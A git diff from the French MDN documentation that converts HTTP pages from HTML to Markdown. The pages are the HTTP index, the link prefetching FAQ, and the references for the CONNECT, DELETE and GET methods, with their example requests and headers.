Naviguez dans la documentation détaillée de HTTP.

+ +
+
En-têtes HTTP
+
Les messages d'en-tête HTTP sont utilisés pour décrire précisément la ressource ou le comportement du client ou du serveur. Un en-tête propriétaire sur mesure peut être ajouté en utilisant le préfixe X- ; d'autres en-têtes sont disponibles dans le registre de l'IANA, dont le contenu original a été défini dans la RFC 4229. L'IANA maintient aussi un registre des nouveaux messages d'en-tête HTTP qui sont proposés.
+
Méthodes de requête HTTP
+
Différentes opérations peuvent être effectuées avec HTTP : les plus connues GET, POST, mais aussi des requêtes comme OPTIONS, DELETE ou TRACE.
+
Codes de réponse HTTP
+
Les codes de réponses HTTP indiquent si une requête HTTP a été effectuée avec succès. Les réponses sont regroupées en cinq classes : les réponses informationnelles, les réponses de succès, les redirections, les erreurs client et les erreurs serveur.
+
Directives CSP
+
Les champs de l'en-tête de réponse Content-Security-Policy permettent aux administrateurs de contrôler les ressources accessibles pour un agent utilisateur au sein d'une page donnée. De manière générale, il s'agit de directives relatives à l'origine du serveur ainsi qu'aux points de terminaison des scripts.
+
+ +

Outils et ressources

+ +

Outils utiles pour comprendre et déboguer HTTP.

+ +
+
Les outils de développement de Firefox
+
Moniteur réseau
+
Mozilla Observatory
+
+

Un projet conçu pour aider les développeuses et développeurs, les administratrices et administrateurs système ainsi que les professionnels de la sécurité à configurer leur site de manière sûre et sécurisée.

+
+
RedBot
+
Des outils pour vérifier vos en-têtes liés à la gestion du cache.
+
How Browsers Work
+
Un article détaillé sur le fonctionnement d'un navigateur et l'organisation des requêtes HTTP durant la navigation.
+
diff --git a/files/fr/web/http/index/index.html b/files/fr/web/http/index/index.html deleted file mode 100644 index 0b2c522847..0000000000 --- a/files/fr/web/http/index/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Index -slug: Web/HTTP/Index -tags: - - HTTP - - Index -translation_of: Web/HTTP/Index ---- -

{{HTTPSidebar}}

- -

Pages MDN HTTP

- -

Cette page liste toutes les pages de MDN sur le HTTP avec leur résumé et balises.

- -

{{Index("fr/docs/Web/HTTP")}}

diff --git a/files/fr/web/http/index/index.md b/files/fr/web/http/index/index.md new file mode 100644 index 0000000000..0b2c522847 --- /dev/null +++ b/files/fr/web/http/index/index.md @@ -0,0 +1,15 @@ +--- +title: Index +slug: Web/HTTP/Index +tags: + - HTTP + - Index +translation_of: Web/HTTP/Index +--- +

{{HTTPSidebar}}

+ +

Pages MDN HTTP

+ +

Cette page liste toutes les pages de MDN sur le HTTP avec leur résumé et balises.

+ +

{{Index("fr/docs/Web/HTTP")}}

diff --git a/files/fr/web/http/link_prefetching_faq/index.html b/files/fr/web/http/link_prefetching_faq/index.html deleted file mode 100644 index a2e02a0876..0000000000 --- a/files/fr/web/http/link_prefetching_faq/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: FAQ sur le préchargement des liens -slug: Web/HTTP/Link_prefetching_FAQ -tags: - - Développement_Web - - Gecko - - HTML - - HTTP -translation_of: Web/HTTP/Link_prefetching_FAQ -original_slug: Web/HTTP/FAQ_sur_le_préchargement_des_liens ---- -

Qu’est ce que le préchargement de liens ?

- -

Le préchargement de liens est un mécanisme du navigateur qui utilise le temps disponible du navigateur pour télécharger ou précharger les documents que les utilisateurs pourraient visiter juste après. Une page web fournit un ensemble de cibles à précharger au navigateur. Une fois que le navigateur a fini de charger la page, il commence, de façon transparente, à précharger les documents spécifiés et les emmagasine dans son cache. Quand l’utilisateur visite un de ces documents préchargés, il peut être ressorti rapidement du cache du navigateur.

- -

Le préchargement fonctionne-t-il avec HTTPS ?

- -

À partir de Gecko 1.9.1 (Firefox 3.5), le contenu HTTPS peut être préchargé.

- -

Quelles sont les cibles à précharger ?

- -

Le navigateur cherche soit une balise HTML link, soit un en-tête HTTP Link: avec un type de relation next ou prefetch. Ci-dessous, un exemple d’utilisation de la balise link :

- -
<link rel="prefetch" href="/images/big.jpeg">
-
- -

La même cible à précharger, cette fois avec un en-tête HTTP Link: :

- -
Link: </images/big.jpeg>; rel=prefetch
-
- -

L’en-tête Link: peut également être spécifiée à l’intérieur d’un document HTML en utilisant une balise HTML meta :

- -
<meta http-equiv="Link" content="&lt;/images/big.jpeg&gt;; rel=prefetch">
-
- -

Le format pour l’en-tête Link:est décrit dans le RFC 2068 section 19.6.2.4.

- -
-

Note : Nous avons intentionnellement pris pour référence une version dépassée de la spécification HTTP/1.1 car la plus récente RFC 2616 ne décrit pas l’en-tête Link:. Bien que les en-têtes Link: ne fassent pas partie du standard révisé, ils sont toujours utilisés en pratique par les serveurs, pour renseigner les feuilles de styles CSS. Donc nous faisons usage de la même fonction ici.

-
- -

Le navigateur surveille toutes ces cibles et met en attente chaque requête unique qui doit ensuite être préchargée quand le navigateur est disponible. Il peut y avoir de multiples cibles par page, ainsi on peut comprendre l'utilité de précharger de multiples documents. Par exemple, le document suivant peut contenir plusieurs images lourdes.

- -

Quelques exemples en plus, ci-dessous :

- -
<link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css">
-<link rel="next" href="2.html">
-
- -

Les balises ancres (<a>) sont-elles préchargées ?

- -

Non, seulement les balises <link> avec une relation de type next ou prefetch sont préchargées. Toutefois, si l'intérêt en est suffisant, on peut étendre le support du préchargement de liens pour inclure le préchargement des balises <a>, lesquelles devront inclure un type de relation next ou prefetch. Cela aiderait probablement les fournisseurs de contenus à éviter le problème du préchargement de liens morts.

- -

Le préchargement de liens est-il respectueux des standards ?

- -

Oui, le préchargement de liens, comme exposé dans ce document, ne viole aucun standard Web existant. En fait, la spécification HTML 4.01 prend explicitement en compte la définition de nouveaux types de relation pour les liens (Section 6.12: types de liens (fr)). Toutefois, le mécanisme exact employé par Mozilla n’est pas encore standardisé. Une ébauche de spécification est en cours.

- -

Comment le temps disponible du navigateur est-il déterminé ?

- -

Dans l’implémentation actuelle (Mozilla 1.2), le temps disponible est déterminé par l’utilisation de l’API nsIWebProgressListener. On attache un écouteur à l’objet de haut-niveau nsIWebProgress ("@mozilla.org/docloaderservice;1"). De celui-ci, on reçoit les notifications de lancement et d’arrêt du document et nous estimons le temps disponible comme étant la période entre l’arrêt du dernier document et le lancement du document suivant. La dernière notification d’arrêt apparaît à peu près lorsque le gestionnaire onLoad se lance pour le document parent. C’est à ce moment que démarrent les requêtes de préchargement. Si une sous-frame contient des cibles à précharger, le préchargement ne commencera que lorsque la frame la plus haute et toutes ses frames filles auront fini de charger.

- -

Que se passe-t-il si je clique sur un lien pendant un préchargement ?

- -

Quand un utilisateur clique sur un lien ou initie toutes sortes de chargements de page, le préchargement des liens s’arrête et les préchargements de cibles sont abandonnés. Si un document préchargé est partiellement stocké, alors il est emmagasiné dans le cache à condition que le serveur envoie un en-tête de réponse de type Accept-Ranges: bytes. Cet en-tête est typiquement généré par les serveurs web quand ils gèrent du contenu statique. Quand l’utilisateur visite réellement un document préchargé, la portion restante est chargée en utilisant une requête HTTP byte-range.

- -

Et si je télécharge quelque chose en tâche de fond ? Le préchargement de liens viendra-t-il en concurrence pour la bande passante ?

- -

Oui et non. Si vous téléchargez quelque chose en utilisant Mozilla, le préchargement de liens sera retardé jusqu'à ce que les téléchargements en arrière-plan soit complets. Par exemple, si vous chargez un groupe de marque-pages (qui ouvre plusieurs onglets), toutes les requêtes de préchargement initiées par une de ces marque-pages ne se lanceront que lorsque tous les onglets auront fini de se charger. Si vous avez lancé une autre application qui utilise le réseau, le préchargement de liens dans Mozilla sera en compétition pour la bande passante, avec l’autre application. C’est un problème que nous espérons régler dans le futur en s’appuyant sur les services du système d’exploitation pour contrôler le temps disponible sur le réseau.

- -

Existe-t-il des restrictions sur ce qui peut être préchargé ?

- -

Oui, uniquement les URL http:// (et, à partir de {{ Gecko("1.9.1") }}, https://) peuvent être préchargées. Les autres protocoles (comme FTP) ne fournissent pas de support suffisamment riche pour la gestion du cache côté client. En plus de cette restriction, les URL ayant une chaîne de paramètres ne sont pas préchargées. Ceci parce que de telles URL sont souvent dans des documents qui ne peuvent pas être réutilisés en dehors du cache du navigateur. Donc précharger de telles URL n’apporterait pas grand chose. Nous avons constaté que des sites existants utilisent la balise <link rel="next"> avec des URL contenant des chaînes de paramètres pour référencer le document suivant dans une série de documents. Bugzilla est un de ces sites et il s'avère que les rapports de bug dans Bugzilla ne peuvent être mis en cache, aussi précharger ces URL reviendrait à peu près à doubler la charge de ce pauvre Bugzilla ! On peut se douter que d’autres sites ont été conçus comme Bugzilla donc on ne fait explicitement pas de préchargement d’URL contenant des chaînes de paramètres. (Il pourrait être sensé d’autoriser le préchargement de ces documents avec une relation de type rel=prefetch, puisque cela n'apparait pas dans aucun contenu existant). Il n’y a pas d’autres restrictions en ce qui concerne les URL préchargées.

- -

Mozilla peut-il précharger un document d’un hôte différent ?

- -

Oui. Il n’est pas nécessaire que les documents aient la même origine pour le préchargement de liens. Limiter le préchargement uniquement à des URL du même serveur n’augmenterait pas la sécurité du navigateur.

- -

Les requêtes préchargées contiennent-elles un en-tête Referer: ?

- -

Oui, les requêtes préchargées incluent une entête HTTP Referer: qui indique le document duquel la cible de préchargement a été extraite.

- -

Cela peut impacter l'analyse de l'affluence qui est communément utilisée sur de nombreux sites. Pour cette raison, le préchargement de liens peut ne pas être approprié pour toutes sortes de contenus. Toutefois, il est possible de contraindre Mozilla à valider un document préchargé quand l'utilisateur suit un href vers le document préchargé en spécifiant un en-tête de réponse HTTP Cache-control: must-revalidate. Cet en-tête permet la mise en cache mais requiert une requête de validation If-Modified-Since ou If-None-Match pour que le document soit servi à partir du cache du navigateur.

- -

En tant qu'administrateur serveur, puis-je distinguer les requêtes préchargées, des requêtes normales ?

- -

Oui, l'en-tête suivant est envoyé avec chaque requête préchargée :

- -
 X-moz: prefetch
-
- -

Bien sûr, cet en-tête de requête n'est absolument pas standardisé et il peut changer dans les futures versions de Mozilla.

- -

Existe-t-il une préférence pour désactiver le préchargement de liens ?

- -

Oui, il existe une préférence cachée pour désactiver le préchargement de liens. Ajoutez cette ligne dans votre fichier prefs.js qui se trouve dans votre répertoire de profil (ou faite le changement approprié via about:config) :

- -
 user_pref("network.prefetch-next", false);
-
- -

Toutefois, la théorie est que si le préchargement de liens a besoin d'être désactivé c'est qu'il doit y avoir un problème dans l'implémentation. On doit améliorer l'implémentation si ça ne marche pas correctement plutôt que d'attendre que l'utilisateur trouve et modifie une obscure préférence.

- -

Et pour les gens qui payent à la bande passante utilisée ?

- -

En fait, il y a deux façons d'aborder ce problème :

- -
    -
  1. Les sites Web peuvent provoquer le chargement de choses de façon transparente en utilisant des hacks JS/DOM.
    2. -
  2. Le préchargement est une fonctionnalité du navigateur, les utilisateurs devraient pouvoir le désactiver facilement.
    3. -
- -

Il est important que les sites web adoptent la balise <link> pour le préchargement, plutôt que d'essayer d'initier le chargement en tâche de fond avec des hacks JS/DOM. La balise <link> donne au navigateur la capacité de savoir quels sites sont à charger et on peut utiliser cette information pour améliorer le système de priorité du préchargement des liens. La préférence utilisateur pour désactiver le préchargement par la balise <link> encourage simplement les sites Web à s'abstenir d'utiliser des hacks JS/DOM. Cela n'apporterait rien de positif aux utilisateurs. C'est une des raisons pour lesquelles le préchargement est activé par défaut.

- -

Quels navigateurs supportent le préchargement de liens ?

- -

Les navigateurs basés sur Mozilla 1.2 (ou +) aussi bien que ceux basés sur Mozilla 1.0.2 (ou +) supportent le préchargement. Cela inclut Firefox et Netscape 7.02+. Les compilations Camino, en Mars 2003, sont basées sur Mozilla 1.0.1 et donc ne supportent pas le préchargement. Testez votre navigateur pour vérifier s'il supporte le préchargement de liens.

- -

D'autres questions ?

- -

Si vous avez des questions ou des commentaires sur le préchargement de liens, n'hésitez pas à me les envoyer :-)

- -

Voir également

- - - -

Informations sur le document original

- - diff --git a/files/fr/web/http/link_prefetching_faq/index.md b/files/fr/web/http/link_prefetching_faq/index.md new file mode 100644 index 0000000000..a2e02a0876 --- /dev/null +++ b/files/fr/web/http/link_prefetching_faq/index.md @@ -0,0 +1,133 @@ +--- +title: FAQ sur le préchargement des liens +slug: Web/HTTP/Link_prefetching_FAQ +tags: + - Développement_Web + - Gecko + - HTML + - HTTP +translation_of: Web/HTTP/Link_prefetching_FAQ +original_slug: Web/HTTP/FAQ_sur_le_préchargement_des_liens +--- +

Qu’est ce que le préchargement de liens ?

+ +

Le préchargement de liens est un mécanisme du navigateur qui utilise le temps disponible du navigateur pour télécharger ou précharger les documents que les utilisateurs pourraient visiter juste après. Une page web fournit un ensemble de cibles à précharger au navigateur. Une fois que le navigateur a fini de charger la page, il commence, de façon transparente, à précharger les documents spécifiés et les emmagasine dans son cache. Quand l’utilisateur visite un de ces documents préchargés, il peut être ressorti rapidement du cache du navigateur.

+ +

Le préchargement fonctionne-t-il avec HTTPS ?

+ +

À partir de Gecko 1.9.1 (Firefox 3.5), le contenu HTTPS peut être préchargé.

+ +

Quelles sont les cibles à précharger ?

+ +

Le navigateur cherche soit une balise HTML link, soit un en-tête HTTP Link: avec un type de relation next ou prefetch. Ci-dessous, un exemple d’utilisation de la balise link :

+ +
<link rel="prefetch" href="/images/big.jpeg">
+
+ +

La même cible à précharger, cette fois avec un en-tête HTTP Link: :

+ +
Link: </images/big.jpeg>; rel=prefetch
+
+ +

L’en-tête Link: peut également être spécifiée à l’intérieur d’un document HTML en utilisant une balise HTML meta :

+ +
<meta http-equiv="Link" content="&lt;/images/big.jpeg&gt;; rel=prefetch">
+
+ +

Le format pour l’en-tête Link:est décrit dans le RFC 2068 section 19.6.2.4.

+ +
+

Note : Nous avons intentionnellement pris pour référence une version dépassée de la spécification HTTP/1.1 car la plus récente RFC 2616 ne décrit pas l’en-tête Link:. Bien que les en-têtes Link: ne fassent pas partie du standard révisé, ils sont toujours utilisés en pratique par les serveurs, pour renseigner les feuilles de styles CSS. Donc nous faisons usage de la même fonction ici.

+
+ +

Le navigateur surveille toutes ces cibles et met en attente chaque requête unique qui doit ensuite être préchargée quand le navigateur est disponible. Il peut y avoir de multiples cibles par page, ainsi on peut comprendre l'utilité de précharger de multiples documents. Par exemple, le document suivant peut contenir plusieurs images lourdes.

+ +

Quelques exemples en plus, ci-dessous :

+ +
<link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css">
+<link rel="next" href="2.html">
+
+ +

Les balises ancres (<a>) sont-elles préchargées ?

+ +

Non, seulement les balises <link> avec une relation de type next ou prefetch sont préchargées. Toutefois, si l'intérêt en est suffisant, on peut étendre le support du préchargement de liens pour inclure le préchargement des balises <a>, lesquelles devront inclure un type de relation next ou prefetch. Cela aiderait probablement les fournisseurs de contenus à éviter le problème du préchargement de liens morts.

+ +

Le préchargement de liens est-il respectueux des standards ?

+ +

Oui, le préchargement de liens, comme exposé dans ce document, ne viole aucun standard Web existant. En fait, la spécification HTML 4.01 prend explicitement en compte la définition de nouveaux types de relation pour les liens (Section 6.12: types de liens (fr)). Toutefois, le mécanisme exact employé par Mozilla n’est pas encore standardisé. Une ébauche de spécification est en cours.

+ +

Comment le temps disponible du navigateur est-il déterminé ?

+ +

Dans l’implémentation actuelle (Mozilla 1.2), le temps disponible est déterminé par l’utilisation de l’API nsIWebProgressListener. On attache un écouteur à l’objet de haut-niveau nsIWebProgress ("@mozilla.org/docloaderservice;1"). De celui-ci, on reçoit les notifications de lancement et d’arrêt du document et nous estimons le temps disponible comme étant la période entre l’arrêt du dernier document et le lancement du document suivant. La dernière notification d’arrêt apparaît à peu près lorsque le gestionnaire onLoad se lance pour le document parent. C’est à ce moment que démarrent les requêtes de préchargement. Si une sous-frame contient des cibles à précharger, le préchargement ne commencera que lorsque la frame la plus haute et toutes ses frames filles auront fini de charger.

+ +

Que se passe-t-il si je clique sur un lien pendant un préchargement ?

+ +

Quand un utilisateur clique sur un lien ou initie toutes sortes de chargements de page, le préchargement des liens s’arrête et les préchargements de cibles sont abandonnés. Si un document préchargé est partiellement stocké, alors il est emmagasiné dans le cache à condition que le serveur envoie un en-tête de réponse de type Accept-Ranges: bytes. Cet en-tête est typiquement généré par les serveurs web quand ils gèrent du contenu statique. Quand l’utilisateur visite réellement un document préchargé, la portion restante est chargée en utilisant une requête HTTP byte-range.

+ +

Et si je télécharge quelque chose en tâche de fond ? Le préchargement de liens viendra-t-il en concurrence pour la bande passante ?

+ +

Oui et non. Si vous téléchargez quelque chose en utilisant Mozilla, le préchargement de liens sera retardé jusqu'à ce que les téléchargements en arrière-plan soit complets. Par exemple, si vous chargez un groupe de marque-pages (qui ouvre plusieurs onglets), toutes les requêtes de préchargement initiées par une de ces marque-pages ne se lanceront que lorsque tous les onglets auront fini de se charger. Si vous avez lancé une autre application qui utilise le réseau, le préchargement de liens dans Mozilla sera en compétition pour la bande passante, avec l’autre application. C’est un problème que nous espérons régler dans le futur en s’appuyant sur les services du système d’exploitation pour contrôler le temps disponible sur le réseau.

+ +

Existe-t-il des restrictions sur ce qui peut être préchargé ?

+ +

Oui, uniquement les URL http:// (et, à partir de {{ Gecko("1.9.1") }}, https://) peuvent être préchargées. Les autres protocoles (comme FTP) ne fournissent pas de support suffisamment riche pour la gestion du cache côté client. En plus de cette restriction, les URL ayant une chaîne de paramètres ne sont pas préchargées. Ceci parce que de telles URL sont souvent dans des documents qui ne peuvent pas être réutilisés en dehors du cache du navigateur. Donc précharger de telles URL n’apporterait pas grand chose. Nous avons constaté que des sites existants utilisent la balise <link rel="next"> avec des URL contenant des chaînes de paramètres pour référencer le document suivant dans une série de documents. Bugzilla est un de ces sites et il s'avère que les rapports de bug dans Bugzilla ne peuvent être mis en cache, aussi précharger ces URL reviendrait à peu près à doubler la charge de ce pauvre Bugzilla ! On peut se douter que d’autres sites ont été conçus comme Bugzilla donc on ne fait explicitement pas de préchargement d’URL contenant des chaînes de paramètres. (Il pourrait être sensé d’autoriser le préchargement de ces documents avec une relation de type rel=prefetch, puisque cela n'apparait pas dans aucun contenu existant). Il n’y a pas d’autres restrictions en ce qui concerne les URL préchargées.

+ +

Mozilla peut-il précharger un document d’un hôte différent ?

+ +

Oui. Il n’est pas nécessaire que les documents aient la même origine pour le préchargement de liens. Limiter le préchargement uniquement à des URL du même serveur n’augmenterait pas la sécurité du navigateur.

+ +

Les requêtes préchargées contiennent-elles un en-tête Referer: ?

+ +

Oui, les requêtes préchargées incluent une entête HTTP Referer: qui indique le document duquel la cible de préchargement a été extraite.

+ +

Cela peut impacter l'analyse de l'affluence qui est communément utilisée sur de nombreux sites. Pour cette raison, le préchargement de liens peut ne pas être approprié pour toutes sortes de contenus. Toutefois, il est possible de contraindre Mozilla à valider un document préchargé quand l'utilisateur suit un href vers le document préchargé en spécifiant un en-tête de réponse HTTP Cache-control: must-revalidate. Cet en-tête permet la mise en cache mais requiert une requête de validation If-Modified-Since ou If-None-Match pour que le document soit servi à partir du cache du navigateur.

+ +

En tant qu'administrateur serveur, puis-je distinguer les requêtes préchargées, des requêtes normales ?

+ +

Oui, l'en-tête suivant est envoyé avec chaque requête préchargée :

+ +
 X-moz: prefetch
+
+ +

Bien sûr, cet en-tête de requête n'est absolument pas standardisé et il peut changer dans les futures versions de Mozilla.

+ +

Existe-t-il une préférence pour désactiver le préchargement de liens ?

+ +

Oui, il existe une préférence cachée pour désactiver le préchargement de liens. Ajoutez cette ligne dans votre fichier prefs.js qui se trouve dans votre répertoire de profil (ou faite le changement approprié via about:config) :

+ +
 user_pref("network.prefetch-next", false);
+
+ +

Toutefois, la théorie est que si le préchargement de liens a besoin d'être désactivé c'est qu'il doit y avoir un problème dans l'implémentation. On doit améliorer l'implémentation si ça ne marche pas correctement plutôt que d'attendre que l'utilisateur trouve et modifie une obscure préférence.

+ +

Et pour les gens qui payent à la bande passante utilisée ?

+ +

En fait, il y a deux façons d'aborder ce problème :

+ +
    +
  1. Les sites Web peuvent provoquer le chargement de choses de façon transparente en utilisant des hacks JS/DOM.
    2. +
  2. Le préchargement est une fonctionnalité du navigateur, les utilisateurs devraient pouvoir le désactiver facilement.
    3. +
+ +

Il est important que les sites web adoptent la balise <link> pour le préchargement, plutôt que d'essayer d'initier le chargement en tâche de fond avec des hacks JS/DOM. La balise <link> donne au navigateur la capacité de savoir quels sites sont à charger et on peut utiliser cette information pour améliorer le système de priorité du préchargement des liens. La préférence utilisateur pour désactiver le préchargement par la balise <link> encourage simplement les sites Web à s'abstenir d'utiliser des hacks JS/DOM. Cela n'apporterait rien de positif aux utilisateurs. C'est une des raisons pour lesquelles le préchargement est activé par défaut.

+ +

Quels navigateurs supportent le préchargement de liens ?

+ +

Les navigateurs basés sur Mozilla 1.2 (ou +) aussi bien que ceux basés sur Mozilla 1.0.2 (ou +) supportent le préchargement. Cela inclut Firefox et Netscape 7.02+. Les compilations Camino, en Mars 2003, sont basées sur Mozilla 1.0.1 et donc ne supportent pas le préchargement. Testez votre navigateur pour vérifier s'il supporte le préchargement de liens.

+ +

D'autres questions ?

+ +

Si vous avez des questions ou des commentaires sur le préchargement de liens, n'hésitez pas à me les envoyer :-)

+ +

Voir également

+ + + +

Informations sur le document original

+ + diff --git a/files/fr/web/http/methods/connect/index.html b/files/fr/web/http/methods/connect/index.html deleted file mode 100644 index 08e8ec6a12..0000000000 --- a/files/fr/web/http/methods/connect/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: CONNECT -slug: Web/HTTP/Methods/CONNECT -tags: - - HTTP - - Reference - - Request method -translation_of: Web/HTTP/Methods/CONNECT -original_slug: Web/HTTP/Méthode/CONNECT ---- -
{{HTTPSidebar}}
- -

La méthode HTTP CONNECT crée une communication bidirectionnelle avec la ressource demandée. Elle peut être utilisée pour ouvrir un tunnel.

- -

Par exemple, la méthode CONNECT peut être utilisée pour accéder à des sites web qui utilisent {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Le client demande à un serveur Proxy HTTP de créer un tunnel TCP vers la destination désirée. Le serveur poursuit alors afin d'établir la connexion pour le compte du client. Une fois que la connexion a été établie par le serveur, le serveur Proxy continue de gérer le flux TCP à destination et en provenance du client.

- -

CONNECT est une méthode "saut-par-saut".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsOui
Une réponse de succès a un corpsOui
{{Glossary("Sûre")}}Non
{{Glossary("Idempotente")}}Non
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
- -

Syntaxe

- -
CONNECT www.example.com:443 HTTP/1.1
-
- -

Exemple

- -

Certains serveurs proxy pourraient avoir besoin d'une autorisation pour créer un tunnel. Voir aussi l'en-tête {{HTTPHeader("Proxy-Authorization")}}.

- -
CONNECT server.example.com:80 HTTP/1.1
-Host: server.example.com:80
-Proxy-Authorization: basic aGVsbG86d29ybGQ=
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "CONNECT", "4.3.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/methods", "CONNECT")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/methods/connect/index.md b/files/fr/web/http/methods/connect/index.md new file mode 100644 index 0000000000..08e8ec6a12 --- /dev/null +++ b/files/fr/web/http/methods/connect/index.md @@ -0,0 +1,85 @@ +--- +title: CONNECT +slug: Web/HTTP/Methods/CONNECT +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/CONNECT +original_slug: Web/HTTP/Méthode/CONNECT +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP CONNECT crée une communication bidirectionnelle avec la ressource demandée. Elle peut être utilisée pour ouvrir un tunnel.

+ +

Par exemple, la méthode CONNECT peut être utilisée pour accéder à des sites web qui utilisent {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Le client demande à un serveur Proxy HTTP de créer un tunnel TCP vers la destination désirée. Le serveur poursuit alors afin d'établir la connexion pour le compte du client. Une fois que la connexion a été établie par le serveur, le serveur Proxy continue de gérer le flux TCP à destination et en provenance du client.

+ +

CONNECT est une méthode "saut-par-saut".

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsOui
Une réponse de succès a un corpsOui
{{Glossary("Sûre")}}Non
{{Glossary("Idempotente")}}Non
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
+ +

Syntaxe

+ +
CONNECT www.example.com:443 HTTP/1.1
+
+ +

Exemple

+ +

Certains serveurs proxy pourraient avoir besoin d'une autorisation pour créer un tunnel. Voir aussi l'en-tête {{HTTPHeader("Proxy-Authorization")}}.

+ +
CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "CONNECT", "4.3.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/methods", "CONNECT")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/methods/delete/index.html b/files/fr/web/http/methods/delete/index.html deleted file mode 100644 index e18f859a79..0000000000 --- a/files/fr/web/http/methods/delete/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: DELETE -slug: Web/HTTP/Methods/DELETE -tags: - - HTTP - - HTTP method - - Reference - - Request method -translation_of: Web/HTTP/Methods/DELETE -original_slug: Web/HTTP/Méthode/DELETE ---- -
{{HTTPSidebar}}
- -

La méthode HTTP DELETE supprime la ressource indiquée.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsNon
Une réponse de succès a un corpsNon
{{Glossary("Sûre")}}Non
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
- -

Syntaxe

- -
DELETE /file.html HTTP/1.1
-
- -

Exemple

- -

Requête

- -
DELETE /file.html HTTP/1.1
- -

Réponses

- -

Si une méthode DELETE est appliquée avec succès, il y a plusieurs codes de statut de réponse possibles :

- - - -
HTTP/1.1 200 OK
-Date: Wed, 21 Oct 2015 07:28:00 GMT
-
-<html>
-  <body>
-    <h1>File deleted.</h1>
-  </body>
-</html>
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "DELETE", "4.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/methods/delete/index.md b/files/fr/web/http/methods/delete/index.md new file mode 100644 index 0000000000..e18f859a79 --- /dev/null +++ b/files/fr/web/http/methods/delete/index.md @@ -0,0 +1,94 @@ +--- +title: DELETE +slug: Web/HTTP/Methods/DELETE +tags: + - HTTP + - HTTP method + - Reference + - Request method +translation_of: Web/HTTP/Methods/DELETE +original_slug: Web/HTTP/Méthode/DELETE +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP DELETE supprime la ressource indiquée.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsNon
Une réponse de succès a un corpsNon
{{Glossary("Sûre")}}Non
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
+ +

Syntaxe

+ +
DELETE /file.html HTTP/1.1
+
+ +

Exemple

+ +

Requête

+ +
DELETE /file.html HTTP/1.1
+ +

Réponses

+ +

Si une méthode DELETE est appliquée avec succès, il y a plusieurs codes de statut de réponse possibles :

+ + + +
HTTP/1.1 200 OK
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+<html>
+  <body>
+    <h1>File deleted.</h1>
+  </body>
+</html>
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "DELETE", "4.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/methods/get/index.html b/files/fr/web/http/methods/get/index.html deleted file mode 100644 index cb39182435..0000000000 --- a/files/fr/web/http/methods/get/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: GET -slug: Web/HTTP/Methods/GET -tags: - - HTTP - - Reference - - Request method -translation_of: Web/HTTP/Methods/GET -original_slug: Web/HTTP/Méthode/GET ---- -
{{HTTPSidebar}}
- -

La méthode HTTP GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsNon
Une réponse de succès a un corpsOui
{{Glossary("Safe","Sûre")}}Oui
{{Glossary("Idempotent","Idempotente")}}Oui
{{Glossary("Cacheable","Peut être mise en cache")}}Oui
Autorisée dans les formulaires HTMLOui
- -

Syntaxe

- -
GET /index.html
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "GET", "4.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/methods", "GET")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/methods/get/index.md b/files/fr/web/http/methods/get/index.md new file mode 100644 index 0000000000..cb39182435 --- /dev/null +++ b/files/fr/web/http/methods/get/index.md @@ -0,0 +1,72 @@ +--- +title: GET +slug: Web/HTTP/Methods/GET +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/GET +original_slug: Web/HTTP/Méthode/GET +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsNon
Une réponse de succès a un corpsOui
{{Glossary("Safe","Sûre")}}Oui
{{Glossary("Idempotent","Idempotente")}}Oui
{{Glossary("Cacheable","Peut être mise en cache")}}Oui
Autorisée dans les formulaires HTMLOui
+ +

Syntaxe

+ +
GET /index.html
+
+ +

Spécifications

+ + + + + + + + + + + + +
